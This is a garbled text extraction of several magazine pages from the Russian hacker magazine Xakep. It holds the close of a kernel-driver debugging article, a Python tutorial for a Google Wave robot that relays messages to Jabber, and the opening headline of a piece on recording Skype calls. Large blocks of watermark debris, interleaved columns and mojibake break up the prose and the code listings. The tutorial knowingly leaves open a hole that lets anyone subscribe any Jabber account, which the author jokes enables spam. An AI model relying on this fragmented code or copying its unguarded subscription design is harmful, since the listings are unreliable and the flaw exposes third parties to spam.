книги хакеры / журнал хакер / 133_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
m |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
ПРИЧИНАBSOD’А— НУЛЕВОЙУКАЗАТЕЛЬВДРАЙВЕРЕ
ДЛЯПОЛНОЦЕННОЙРАБОТЫСWINDBG НЕОБХОДИМПАКЕТСИМВОЛОВ
malloc(sizeof(*param)); memset(param, 0, sizeof(*param)); ExInitializeWorkItem(¶m->item, DelayedFunction, param);
ExQueueWorkItem(¶m->item, DelayedWorkQueue);
}
В данном коде, если текущий уровень IRQL будет выше, чем PASSIVE_ LEVEL, выполнение функции DelayedFunction будет отложено на более поздний срок = т.е., когда ядро «поймает» для этого подходящий уровень IRQL. Развернутый пример использования WorkItems для работы в ядре ищи на диске.
XÀÊÅÐ 01 /133/ 10
ЗАКЛЮЧЕНИЕ
Приведенные здесь советы должны помочь тебе в успешном дебаггинге. Если ты всерьез увлекаешься разработкой драйверов уровня ядра, будь то системы защиты или же написание не совсем добропорядочных зверушек, хотя и редко, но на стадии тестирования будут встречаться ситуации, которые смогут поставить тебя в тупик. Это связано с одной единственной причиной: в работу ядра успешно вмешиваются разработчики всяческих проактивных защит, файрволов и антивирей. Логика их действий практически всегда скрыта от посторонних глаз (ну правильно, кто же будет палить алгоритм своих действий — ведь его «непубличность» и является гарантией успешности). Встраиваясь в эту систему, ты невольно ее нарушаешь, а ядро очень нервно реагирует на всякие попытки изменения существующего баланса. Как результат — ты будешь лицезреть BSOD практически на ровном месте. Например, это касается разработки всяческих сетевых фильтров — существующие коммерческие файрволы, как правило, перехватывают системные вызовы как на NDIS уровне, так и уровне TDI-интерфейса. Однако, какова именно логика их перехвата — не всегда известно
изначит заранее неизвестно, как будут вести себя твой драйвер и драйвер файрвола в одном стеке. К примеру, у меня была ситуа-
ция, что драйвер приложения «ESET Smart Security» epfwtdi.sys (фильтрующий TDI-трафик), вылетал с BSOD, когда мне приспичило ковыряться с содержимым сетевого IRP-пакета. Как результат — малоинформативный BSOD c кодом KERNEL_MODE_EXCEPTION_ NOT_HANDLED_M.
В этой ситуации точно обозначить причину, послужившую причиной BSOD’а, с первого раза можно было лишь словами: «Она утонула». Если появились вопросы, пиши, обсудим. Удачного компилирования
ида пребудет с тобой Сила! z
089
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|
||||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
r |
|
|
||||
P |
|
|
|
|
|
NOW! |
|
o |
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
w Click |
to |
BUY |
|
|
|
|
|
|
|
|
CODING |
|
|||
|
|
|
|
|
|
|
|
|
РОМАНАЛЕКСАНДР«PRESIDENTUЭККЕРТ AL»EХОМЕНКОKSANDR-EHHTKTKPE:/R/T@URTAMCB.LCOERM.RU |
||||||
|
|
|
|
|
|
|
|
m |
|
||||||
w |
|
|
|
|
|
|
|
|
o |
|
|
||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
. |
|
|
|
|
|
.c |
|
|
|
|
||||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
РОБОТ ÄËß GOOGLE WAVE
НАПИШЕМ |
ÅÃÎ ÍÀ PYTHON’Å! |
«ЛАДНО, Я ПОСТРОЮ СВОЙ |
СОБСТВЕННЫЙ МОДУЛЬ |
С БЛЕК-ДЖЕКОМ И ШЛЮХАМИ. |
ВООБЩЕ-ТО, К ЧЕРТУ МОДУЛЬ И |
БЛЕК-ДЖЕК»... КАКИЕ ХОРОШИЕ |
СОВЕТЫ МОГУТ ДАВАТЬ РОБОТЫ! |
ОТЛИЧНО, СЕГОДНЯ Я РАССКАЖУ |
ТЕБЕ, КАК ПОСТРОИТЬ СВОЕГО |
МАЛЕНЬКОГО РОБОТА. НАПРИМЕР, |
ДЛЯ НОВОМОДНОГО GOOGLE WAVE. |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
090 |
XÀÊÅÐ 01 /133/ 10 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Google Wave получил хороший пиар, и думаю, в этом мире не сыскать того, кто не слышал о нем (не считая соседа Толика, который в запое :)). Нельзя исключить, что пиар даже немножко повредил Волне, позиционируя это явление природы как убийцу почты, форумов и чуть ли не всего осталь-
ного интернета. Лично для меня Волна — это достаточно классно сделанный IRC с хорошим API. С помощью которого мы можем создавать гаджеты и, что интереснее, роботов, которые могут расширять возможности Wave под любые нужды.
РОБОТ API
Робот для Wave будет представлять собой e-mail с аватаркой, описанием и закрепленными за ним событиями. Событий у нас будет около 15 штук, но для большинства случаев хватит и двух:
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
WAVELET_SELF_ADDED
BLIP_SUBMITTED
Первое событие возникает, когда мы добавляем робота на какую- |
|
либо волну. Второе событие проявляется в случае, когда кто-то |
|
добавляет сообщение, причем это сообщение возникает в момент |
|
нажатия на кнопку «Done». Вообще, в контексте программирования |
|
волны Google вводит несколько понятий: |
|
- wave — полностью весь Wave; |
|
- wavelet — обозначает конкретную волну; |
|
- blip — одно сообщение. |
|
Помнишь в позапрошлом номере я тебе рассказывал о Google App |
|
Engine(GAE)? Так вот, на данный момент роботов можно строить лишь |
|
с использованием GAE. |
ОWAVE УЖЕ ИКНИЖКИПОЯВИЛИСЬ |
Ê ПРАКТИКЕ!
ТеориявслучаяхсГугломсложнее, чемпрактика, поэтомунебудемна нейзадерживатьсяиперейдемсразуксозданиюробота. Всепроекты наGAE начинаютсяспустойпапкиифайлаapp.yaml, вкотороммы установим, чтовсезапросыотwave будетобрабатыватьскриптjbot.py:
handlers:
-url: /_wave/.* script: jbot.py
-url: /assets static_dir: assets
Давай теперь определим ТТХ нашего робота. Пусть он должен уведомлять нас по джабберу о новых сообщениях в Волну. И, соответ-
WHY ARE YOU NOT TRYING TO KILL ME BENDER?
ственно, мы должны иметь возможность подписывать свой джаббер на обновления и удаляться из рассылки. В тексте приходящего сообщения будет содержаться мейл автора и текст новой мессаги. Нам нужно будет перехватывать событие WAVELET_SELF_ADDED для вывода справки о командах и перехватывать BLIP_SUBMITTED с целью рассылки уведомлений.
Начнем прогить файл робота jbot.py, поместив в начале импорт необходимых библиотек:
ПАРОЧКАФАКТОВ
Работа над проектом Wave началась в 2007 году. Основными разработчиками программного обеспечения были братья Ларс и Йенс Расмуссены, также являющиеся главными разработчиками Google Maps.
Google Wave использует технологии, предоставленные возможностями HTML 5. Некоторые функции в настоящее время доступны только после установки Google Gears.
Технология Google Wave подразумевает открытость протоколов и программного обеспечения (под лицензией Apache Software License), что позволяет развертывать собственные серверы Google Wave как подключенные и синхронизируемые, так и не подклю- ченные к серверам Google. Во втором случае сообщения между пользователями локальной инсталляции не будут передаваться во внешнюю сеть.
Название навеяно сериалом «Светлячок», в котором «волна» — это электронная коммуникация (часто с видео-звонком или видеосообщением). На презентации для разработчиков Google I/O Ларс Расмуссен отвечал на некоторые фразы — «блестяще» (англ. shiny), то есть использовал слово, обычно применяемое в этом сериале в смысле «здорово». В качестве сообщения об отказе системы в Google Wave использована популярная цитата из сериала — «Будь проклято ваше внезапное, но неизбежное предательство!».
XÀÊÅÐ 01 /133/ 10 |
091 |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
r |
|||||
P |
|
|
|
|
|
NOW! |
o |
|
P |
|
|
|
|
|
NOW! |
o |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
CODING |
|
|
|
|
|
|
BUY |
|
|
||||||||
w Click |
to |
|
|
|
|
|
|
|
w Click |
to |
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
m |
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
g |
.c |
|
|
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
INFO |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
info |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Хорошобытьпер- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
вым? Да! Поэтому |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
кмоментузапу- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
скаWave впаблик |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
желательноуметьна- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
писатькнемукрутой |
|
АТАКWAVE ВЫГЛЯДИТДЛЯЮЗЕРОВ |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
спамериличто-то |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
вэтомроде:). |
|
waveid = context.GetRootWavelet().GetWaveId() |
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Затем обработаем событие добавления робота на волну. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
При получении данного события мы добавим текстовое |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
КСТАТИ, В2010-МНАМОБЕЩАЮТНОВЫЕ |
сообщение в волну с описанием команд, которые наш |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
СЕРИИFUTURAMA! |
бот сможет принимать: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def addBlip(context, string): |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
from waveapi import events |
context.GetRootWavelet().CreateBlip().\ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
DVD |
from waveapi import robot |
GetDocument().SetText(string) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
Создадим объект робота, передав название, адрес ава- |
def OnRobotAdded(properties, context): |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
dvd |
тарки, версию и адрес сайта робота. Заметь, что версию |
addBlip(context,"I'm alive!\n |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
нужно обязательно менять, если изменяется список со- |
Command:\n |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
•Исходникиботасо |
бытий, потому что новые события в этом случае не будут |
wabber-bot add me: jabber@jabber.ja\n |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
всемилибамиждут |
работать. |
wabber-bot remove me: jabber@jabber.ja") |
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
тебянадиске |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
myRobot = robot.Robot('w-mailrobot', |
Здесь для будущего удобства мы добавили функцию по |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
•Каквсегда, снялдля |
image_url='http://w-mailrobot.appspot.com/ |
добавлению сообщений — addBlip. А потом уже отправи- |
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
тебявидеопротести- |
images/avatar.png', |
ли само сообщение. |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
рованиесвоегобота. |
version='1', |
ДЖАББЕР |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
Надеюсь, заценишь! |
profile_url='http://w-mailrobot.appspot. |
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
com/') |
СейчаснамстобойпридетсянаучитьсяотсылатьизGAE |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
сообщениянаджаббер. Дляэтогоактивируемсоответствую- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Теперь добавим перехват нужных событий и сам запуск |
щийфункционалпутемдобавлениявфайлнастроекapp.yaml |
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
робота: |
несколькихстрочек: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
HTTP://WWW |
myRobot.RegisterHandler(events.WAVELET_SELF_ |
inbound_services: |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
ADDED, OnRobotAdded) |
- xmpp_message |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
links |
myRobot.RegisterHandler(events.BLIP_ |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
• Описаниевнутрен- |
SUBMITTED, OnBlipSubmitted) |
Вуаля, теперь мы можем юзать функции для отправки |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
негопротоколаWave: |
myRobot.Run() |
запроса авторизации и самих сообщений: |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
waveprotocol.org. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
В процессе регистрации перехватчиков мы указывали |
from google.appengine.api.xmpp \ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
• СамGoogle Wave: |
OnRobotAdded, OnBlipSubmitted — это названия функ- |
import send_message, send_invite |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
https://wave.google. |
ций, которые будут вызываться при активизации собы- |
#просьба авторизации |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
com. |
тия. Они должны принимать два параметра: properties, |
send_invite("êîìó") |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
context. |
#отослать сообщение |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
• Wave API нарус- |
В properties будет содержаться информация относи- |
status = send_message("кому", «текст сообще- |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
ском: |
тельно конкретного события, а в context — информация |
íèÿ») |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
http://code.google. |
об окружении, о волне, где событие возникло. Именно |
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
com/intl/ru-RU/apis/ |
через работу с context мы можем добавить новое |
В процессе программирования под Google Wave иногда |
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
wave. |
сообщение в волну, вызвав такую длинную цепочку |
не очень понятно, почему что-то не работает. Исходя |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
функций: |
из этого, нам обязательно нужно использовать модуль |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
logging. В GAE после его импортирования мы можем до- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
context.GetRootWavelet().CreateBlip(). |
бавлять сообщения разной степени важности: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
GetDocument().SetText(string) |
logging.info('info') |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
logging.error('error') |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Также из нее можно достать идентификатор волны, кото- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
рый нам позже понадобится: |
Обработчик этих сообщений автоматически добавит |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
092 |
|
XÀÊÅÐ 01 /133/ 10 |
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
информацию о них в базу данных. И мы, зайдя в админку, сможем их просматривать.
ÁÛË BLIP?
Для завершения работы осталось сделать последний шаг — написать OnBlipSubmitted — обработчик события о новом сообщении. Функция эта будет способна обрабатывать три ситуации:
•была команда «добавить джабер в лист оповещения»;
•была команда «удалить джабер с листа оповещения»;
•не было команды, тогда — разослать это сообщения по подписчикам.
Алгоритм ясен? Выразим его скупыми строчками программного кода:
def OnBlipSubmitted(properties, context):
blip = context.GetBlipById(properties[‘blipId’]) text_blip = blip.GetDocument().GetText()
if text_blip.startswith('wabber-bot add me:'): #добавить юзера
return
if text_blip.startswith('wabber-bot remove me:'): #удалить юзера
return
#разослать всем сообщение
ÁÀÇÀ ДАННЫХ
Для сохранения привязки джаббер-акка к волне нам будет нужна база с двумя полями, одним для идентификатора волны и вторым для джаббера:
from google.appengine.ext import db class WaveModel(db.Model):
wave = db.StringProperty() user = db.StringProperty()
Все готово к непосредственной обработке команд и добавлению пользователей в БД:
ЕЩЕПАРОЧКАWAVEAPI-КОМАНД
Допустим, мы получили сообщение:
blip = context.GetBlipById(properties['blipId'])
Добавить текст в какую-то позицию:
blip.GetDocument().InsertText(pos, text)
Добавить текст в конец сообщения:
blip.GetDocument().AppendText(ТЕКСТ)
Удалить можно командой:
blip.Delete()
Создать ссылку:
doc = wavelet.CreateBlip().GetDocument() doc.SetAnnotation(Annotation(Range(0, 5),
"link/manual", "http://xakep.ru")) doc.SetText("XAKEP")
XÀÊÅÐ 01 /133/ 10
ОБОБЩЕННАЯ СХЕМАWAVE
if text_blip.startswith('wabber-bot add me:'): creator = text_blip[18:].strip()
count = WaveModel.all().filter('wave = ', waveid).\ filter('user =', creator).count()
if count: return
WaveModel(
wave = waveid, user = creator
).put() send_invite(creator)
addBlip(context, "%s was added"%creator) return
Как видим, мы не только добавляем юзера в базу данных, но и присылаем запрос авторизации — чтобы остальные сообщения доставлялись без затруднений. Принцип удаления пользователя из рассылки практически аналогичен, а точнее — намного проще. Ознакомься с тремя главными строчками:
rez = WaveModel.all().filter('wave = ', waveid). filter('user =', creator)
for i in rez: i.delete()
Если же никакой команды нет, то достаем из базы всех, кто подписался, и отправляем им сообщение:
all_u = WaveModel.all().filter('wave = ', waveid) for u in all_u:
status = send_message(u.user,
"New message from %s:\n%s"%(blip_creator, text_blip))
Видишь, как просто? Мы так долго готовились к реализации работы с командами, а на деле получилось лишь несколько строчек сухого и безжалостного программного кода.
ËÞÄÈ ÈËÈ БЕНДЕР?
После написания робота я залил его на GAE, и теперь ты можешь добавить wabber-robot@appspot.com к себе в контакты. По идее, нужно еще добавить подтверждения для джабера, чтобы только пользователь мог себя добавить в список. А то ведь получается, что любой джаббер-аккаунт можно будет заспамить…хотя, наверное, это не баг, а фича. В общем, до новых встреч! Ну, Фрай, было приятно познакомиться, пойду, убью себя ©. z
093
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|
||||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
r |
|
|
||||
P |
|
|
|
|
|
NOW! |
|
o |
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
w Click |
to |
BUY |
|
|
|
|
|
|
|
|
CODING |
|
|||
|
|
|
|
|
|
|
|
|
ИГОРЬАЛЕКСАНДРАНТОНОВЭККЕРТHTTP://TWITTERAL KSANDR-E.COM/ANTONOVIHKKER @RAMBLER.RU |
||||||
|
|
|
|
|
|
|
|
m |
|
||||||
w |
|
|
|
|
|
|
|
|
o |
|
|
||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
. |
|
|
|
|
|
.c |
|
|
|
|
||||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
прослушкa
ХАКЕРСКИЙ ПОДХОД К РЕЗЕРВНОМУ КОПИРОВАНИЮ VOIP-РАЗГОВОРОВ
СКАЙП, БЕССПОРНО, РУЛИТ. ЕСЛИ РАНЬШЕ НАМ НУЖНО БЫЛО ЧАСАМИ ОТВИСАТЬ В ТЕКСТОВЫХ ЧАТАХ, НАБИВАЯ КИЛОБАЙТЫ ИНФОРМАЦИИ, ТО ТЕПЕРЬ, БЛАГОДАРЯ РАСПРОСТРАНЕНИЮ БЕЗЛИМИТНОГО ИНЕТА ВПЛОТЬ ДО РОССИЙСКОЙ ГЛУБИНКИ, ДАЖЕ САМЫЕ УДАЛЕННЫЕ ОТ СТОЛИЦЫ ИНТЕРНЕТЧИКИ МОГУТ ПОЗНАТЬ РАДОСТЬ ГОЛОСОВОГО ОБЩЕНИЯ.
094 |
XÀÊÅÐ 01 /133/ 10 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
